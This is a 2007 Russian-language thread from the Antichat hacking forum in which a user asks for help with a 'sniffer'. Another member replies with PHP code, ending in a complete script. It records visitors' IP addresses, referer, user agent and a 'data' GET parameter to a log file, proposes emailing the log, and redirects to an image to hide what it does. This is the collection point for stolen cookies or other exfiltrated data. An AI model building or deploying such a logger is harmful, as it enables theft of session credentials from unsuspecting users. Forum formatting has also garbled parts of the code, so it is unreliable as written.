Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Помогите со сниффером… (https://forum.antichat.xyz/showthread.php?t=57034)

g-warning 31.12.2007 21:37

Помогите со сниффером…
 
del

.:EnoT:. 31.12.2007 21:47

1)
PHP код:

<?
  $log_file 
"log.txt"//файл лога
  
if (!file_exists($log_file)) { $fo fopen($log_file"w"); fclose($fo); }
  
$fmsg file($log_file);
  
$count_msg count($fmsg);
  for(
$i $count_msg$i >= ;$i--) echo $fmsg[$i];
?>

Это у тебя и будет вывод верх ногами :)

2)Функция mail() к твоим услугам. Всё просто до жути, поэтому не вижу смысла объяснять.

3)В файле картинки сделай вот так:
PHP код:

$log_file "log.txt";// Лог файл
  
$msg_count 30// количество записей
  
$fl file($msg_file);
  
$count_fl count($fl);
  if (
$count_fl >= $msg_count)
  {
    
$fw fopen($msg_file"w");
    for(
$i=1;$i<$msg_count;$i++) fwrite($fwtrim($fl[$i])."\r\n");
  }
# Длаее записываешь данные в лог 


g-warning 31.12.2007 21:57

del

.:EnoT:. 31.12.2007 21:58

вот твой скрипт, я сделал.....может что-то неправильно натворил, прост я уже начинаю отмечать НГ :D
PHP код:

<?php

$date
=date("d/m/Y");
$time=date("H:i");
$day=date("D");  
$ip=getenv("REMOTE_ADDR"); 
$real_ip=getenv("HTTP_X_FORWARDED_FOR"); 
$unreal_ip=getenv("HTTP_CLIENT_IP");
$host=getenv("HTTP_HOST"); 
$referer=getenv("HTTP_REFERER"); 
$agent=getenv("HTTP_USER_AGENT");  
$param=$_GET['data']; 
$query=$_SERVER['QUERY_STRING']; 

$msg_file "log.txt";
  
$msg_count 30;
  
$fl file($msg_file);
  
$count_fl count($fl);
  if (
$count_fl >= $msg_count)
  {
    
$fw fopen($msg_file"w");
    for(
$i=1;$i<$msg_count;$i++) fwrite($fwtrim($fl[$i])."\r\n");
  }

$fp fopen($msg_file,"a"); 
fputs($fp,"[ $date ] [ $time ] [ $day ] [ $host ] [ $referer ] [ $ip ] [ $agent ] [ $real_ip ] [ $unreal_ip ] [ $param ]
$query ]
"
);
fclose($fp);
#Тут отправляешь письмо на мыло, писать не буду код, в лом
/* 
mail();
*/ 


header('Location: image.png'); 
?>

вывод данных я выше писал как сделать!

С наступающим! :)


Время: 17:00